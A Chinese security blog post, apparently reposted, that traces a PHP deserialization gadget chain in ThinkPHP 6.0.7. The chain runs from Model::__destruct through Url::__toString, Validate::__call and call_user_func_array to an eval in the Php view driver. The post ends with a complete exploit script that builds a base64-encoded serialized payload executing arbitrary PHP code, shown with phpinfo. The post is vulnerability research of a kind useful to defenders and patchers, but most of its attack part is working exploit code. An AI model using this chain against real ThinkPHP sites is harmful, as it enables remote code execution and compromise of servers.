0x00 前言
最近分析了不少的 ThinkPHP v6.0.x 反序列化链条，发现还蛮有意思的，但美中不足的是无法拥有直接调用形如 eval 的能力。于是就自己就在最新的(目前是 ThinkPHP v6.0.7)版本上基于原有的反序列化链，再挖了一条能够执行 eval 的。
0X01 利用条件
- 存在一个完全可控的反序列化点。
0x02 环境配置
直接使用 composer 安装 V6.0.7 版本的即可。
-> composer create-project topthink/think=6.0.7 tp607
-> cd tp607
-> php think run修改入口 app/controller/Index.php 内容，创造一个可控反序列化点：
0x03 链条分析
这里还是由 ThinkPHP v6.0.x 的入口进入。
在 Model 类 (vendor/topthink/think-orm/src/Model.php) 存在一个 __destuct 魔法方法。当然 Model 这玩意是个抽象类，得从它的 继承类 入手，也就是 Pivot 类 (vendor/topthink/tink-orm/src/model/Pivot.php ) 。
abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable { /** * ...... */ public function __destruct() { if ($this->lazySave) { $this->save(); } } } class Pivot extends Model { /** * ...... */ }
我们先让 $this->lazySave = true ，从而跟进 $this->save() 方法。
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{} public function save(array $data = [], string $sequence = null): bool { // 数据对象赋值 $this->setAttrs($data); if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { return false; } $result = $this->exists ? $this->updateData() : $this->insertData($sequence); /** * ...... */ }
其中 $this->setAttrs($data) 这个语句无伤大雅，跟进去可以发现甚至可以说啥事也没做。
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{} public function setAttrs(array $data): void { // 进行数据处理 foreach ($data as $key => $value) { $this->setAttr($key, $value, $data); } }
那么我们这里还需要依次绕过 if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) 中的两个条件。跟进 $this->isEmpty() 以及 $this->trigger('BeforeWrite') ，我们发现 $this->data 要求不为 null ，且 $this->withEvent == true 。
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{} public function isEmpty(): bool { return empty($this->data); } // trait ModelEvent{} protected function trigger(string $event): bool { if (!$this->withEvent) { return true; } /** * ...... */ }
此时， $this->isEmpty() 返回 false ，$this->trigger('BeforeWrite') 返回 true 。我们顺利进入下一步 $result = $this->exists ? $this->updateData() : $this->insertData($sequence); 。我们在上边可以发现 $this->exists 的默认值为 false ，不妨直接跟进 $this->insertData($sequence) ，其中 sequence = null。
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{} protected $exists = false; protected function insertData(string $sequence = null): bool { if (false === $this->trigger('BeforeInsert')) { return false; } $this->checkData(); $data = $this->writeDataType($this->data); // 时间戳自动写入 if ($this->autoWriteTimestamp) { /** * ...... */ } // 检查允许字段 $allowFields = $this->checkAllowFields(); /** * ...... */ }
显然，$this->trigger('BeforeInsert') 的值在上边已经被我们构造成了 true 了，这里继续跟进 $this->checkData() 以及 $data = $this->writeDataType($this->data) 。$this->checkData() 直接可以略过，而传入 $this->writeDataType() 的参数 $this->data 在上边已经被我们构造成一个 非null 的值，这里不妨将其构造成 [7] ，由于 $this->type 的值默认为 [] ，这里的遍历是没有影响的。
trait Attribute { protected $type = []; } // abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{} protected function checkData(): void { } protected function writeDataType(array $data): array { foreach ($data as $name => &$value) { if (isset($this->type[$name])) { // 类型转换 $value = $this->writeTransform($value, $this->type[$name]); } } return $data; }
至于 $this->autoWriteTimestamp 的默认值是没有的，相当于 null ，这里直接用 弱类型比较 直接略过。
trait TimeStamp { protected $autoWriteTimestamp; }
此时，我们来到 $allowFields = $this->checkAllowFields() ，其中 $this->field 和 $this->schema 的默认值都为 [] ，因而可以直接来到 else{。
trait Attribute { protected $schema = []; protected $field = []; } // abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{} protected function checkAllowFields(): array { // 检测字段 if (empty($this->field)) { if (!empty($this->schema)) { $this->field = array_keys(array_merge($this->schema, $this->jsonType)); } else { $query = $this->db(); $table = $this->table ? $this->table . $this->suffix : $query->getTable(); $this->field = $query->getConnection()->getTableFields($table); } return $this->field; } /** * ...... */ }
那么，继续跟进 $this->db ，来到了 关键点 ，第一句 $query = ... 可以直接跳过，而在 $query->table($this->table . $this->suffix) 这里存在熟悉的字符拼接。这样只需要让 $this->table 或 $this->suffix 为一个 类 就可以触发那个 类 的 __toString 魔法方法了。
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{} public function db($scope = []): Query { /** @var Query $query */ $query = self::$db->connect($this->connection)->name($this->name . $this->suffix)->pk($this->pk); if (!empty($this->table)) { $query->table($this->table . $this->suffix); } /** * ...... */ }
简单总结一下，要触发 __toString 需要构造：
$this->lazySave=true$this->data=[7]$this->withEvent=true
至于 __toSring 魔法方法的类，我们这里选择 Url 类 (vendor/topthink/framework/src/think/route/Url.php) ，首先第一个条件 if (0 === strpos($url, '[') && $pos = strpos($url, ']')) 需要绕过，第二个条件 if (false === strpos($url, '://') && 0 !== strpos($url, '/')) 需要满足最上部分，并使得 $url 的值为 ''。
class Url { public function __toString() { return $this->build(); } public function build() { // 解析URL $url = $this->url; $suffix = $this->suffix; $domain = $this->domain; $request = $this->app->request; $vars = $this->vars; if (0 === strpos($url, '[') && $pos = strpos($url, ']')) { // [name] 表示使用路由命名标识生成URL $name = substr($url, 1, $pos - 1); $url = 'name' . substr($url, $pos + 1); } if (false === strpos($url, '://') && 0 !== strpos($url, '/')) { $info = parse_url($url); $url = !empty($info['path']) ? $info['path'] : ''; if (isset($info['fragment'])) { // 解析锚点 $anchor = $info['fragment']; if (false !== strpos($anchor, '?')) { // 解析参数 [$anchor, $info['query']] = explode('?', $anchor, 2); } if (false !== strpos($anchor, '@')) { // 解析域名 [$anchor, $domain] = explode('@', $anchor, 2); } } elseif (strpos($url, '@') && false === strpos($url, '\\')) { // 解析域名 [$url, $domain] = explode('@', $url, 2); } } if ($url) { /** * ...... */ $rule = $this->route->getName($checkName, $checkDomain); /** * ...... */ } if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) { // 匹配路由命名标识 $url = $match[0]; if ($domain && !empty($match[1])) { $domain = $match[1]; } if (!is_null($match[2])) { $suffix = $match[2]; } } elseif (!empty($rule) && isset($name)) { throw new \InvalidArgumentException('route name not exists:' . $name); } else { // 检测URL绑定 $bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null); /** * ...... */ } /** * ...... */ } }
我们先让让 $this->url 构造成 a: ，此时 $url 的值也就为 ''，后边的各种条件也不会成立，可以直接跳过 。
然后再看 if($url) ，由于 弱类型 比较直接略过。
此时由于 $rule 是在 if($url){ 条件内被赋值，那么 if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) 以及 elseif (!empty($rule) && isset($name)) 这两个也不会成立，直接略过。
此时，我们来到 else{ 内，其中 $bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null) 这个代码为点睛之笔。显然，$this->route 是可控的，$domain 变量的值实际上就是 $this->domain ，也是一个可控的字符型变量，我们现在就能得到了一个 [可控类] -> getDomainBind([可控字符串]) 的调用形式。
总结来说，满足该调用形式需要构造：
$this->url='a:'$this->app=给个public的request属性的任意类
然后全局搜索 __call 魔法方法，在 Validate 类 (vendor/topthink/framework/src/think/Validate.php) 中存在一个可以称为 “简直为此量身定做” 的形式。
// class Str{} public static function studly(string $value): string { $key = $value; if (isset(static::$studlyCache[$key])) { return static::$studlyCache[$key]; } $value = ucwords(str_replace(['-', '_'], ' ', $value)); return static::$studlyCache[$key] = str_replace(' ', '', $value); } public static function camel(string $value): string { if (isset(static::$camelCache[$value])) { return static::$camelCache[$value]; } return static::$camelCache[$value] = lcfirst(static::studly($value)); } // class Validate{} class Validate { public function is($value, string $rule, array $data = []): bool { switch (Str::camel($rule)) { case 'require': // 必须 $result = !empty($value) || '0' == $value; break; /** * ...... */ break; case 'token': $result = $this->token($value, '__token__', $data); break; default: if (isset($this->type[$rule])) { // 注册的验证规则 $result = call_user_func_array($this->type[$rule], [$value]); } elseif (function_exists('ctype_' . $rule)) { /** * ...... */ } return $result; } public function __call($method, $args) { if ('is' == strtolower(substr($method, 0, 2))) { $method = substr($method, 2); } array_push($args, lcfirst($method)); return call_user_func_array([$this, 'is'], $args); } }
这里先从 __call 看起，显然在调用 call_user_func_array 函数时，相当于 $this->is([$domain,'getDomainBind']) ，其中 $domain 是可控的。
跟进 $this->is 方法， $rule 变量的值即为 getDomainBind， Str::camel($rule) 的意思实际上是将 $rule = 'getDomainBind' 的 - 和 _ 替换成 '' ， 并将每个单词首字母大写存入 static::$studlyCache['getDomainBind'] 中，然后回头先将首字母小写后赋值给 camel 方法的 static::$cameCache['getDomainBind'] ，即返回值为 getDomainBind 。
由于 switch{ 没有一个符合 getDomainBind 的 case 值，我们可以直接看 default 的内容。 $this->type[$rule] 相当于 $this->type['getDomainBind'] ，是可控的，而 $value 值即是上边的 $domain 也是可控的，我们现在就能得到了一个 call_user_func_array([可控变量],[[可控变量]]) 的形式了。
实际上现在也就可以进行传入 单参数 的函数调用，可这并不够！！！我们来到 Php 类 (vendor/topthink/framework/src/think/view/driver/Php.php) 中，这里存在一个调用 eval 的且可传 单参数 的方法 display 。
class Php implements TemplateHandlerInterface { public function display(string $content, array $data = []): void { $this->content = $content; extract($data, EXTR_OVERWRITE); eval('?>' . $this->content); } }
假若用上边的 call_user_func_array([可控变量],[[可控变量]]) 形式，构造出 call_user_func_array(['Php类','display'],['<?php (任意代码) ?>']) 即可执行 eval 了。
总的来说，我们只需要构造如下：
$this->type=["getDomainBind" => [Php类,'display']]
就可以了。
0x04 简单示图
- 构造并触发
__toString：
- 构造
[可控类] -> getDomainBind([可控字符串])进入__call：
- 构造
call_user_func_array([可控变量],[[可控变量]])执行eval：
0x05 EXP
<?php namespace think\model\concern{ trait Attribute{ private $data = [7]; } } namespace think\view\driver{ class Php{} } namespace think{ abstract class Model{ use model\concern\Attribute; private $lazySave; protected $withEvent; protected $table; function __construct($cmd){ $this->lazySave = true; $this->withEvent = false; $this->table = new route\Url(new Middleware,new Validate,$cmd); } } class Middleware{ public $request = 2333; } class Validate{ protected $type; function __construct(){ $this->type = [ "getDomainBind" => [new view\driver\Php,'display'] ]; } } } namespace think\model{ use think\Model; class Pivot extends Model{} } namespace think\route{ class Url { protected $url = 'a:'; protected $domain; protected $app; protected $route; function __construct($app,$route,$cmd){ $this->domain = $cmd; $this->app = $app; $this->route = $route; } } } namespace{ echo base64_encode(serialize(new think\Model\Pivot('<?php phpinfo(); exit(); ?>'))); }
利用结果：
如有侵权请联系:admin#unsafe.sh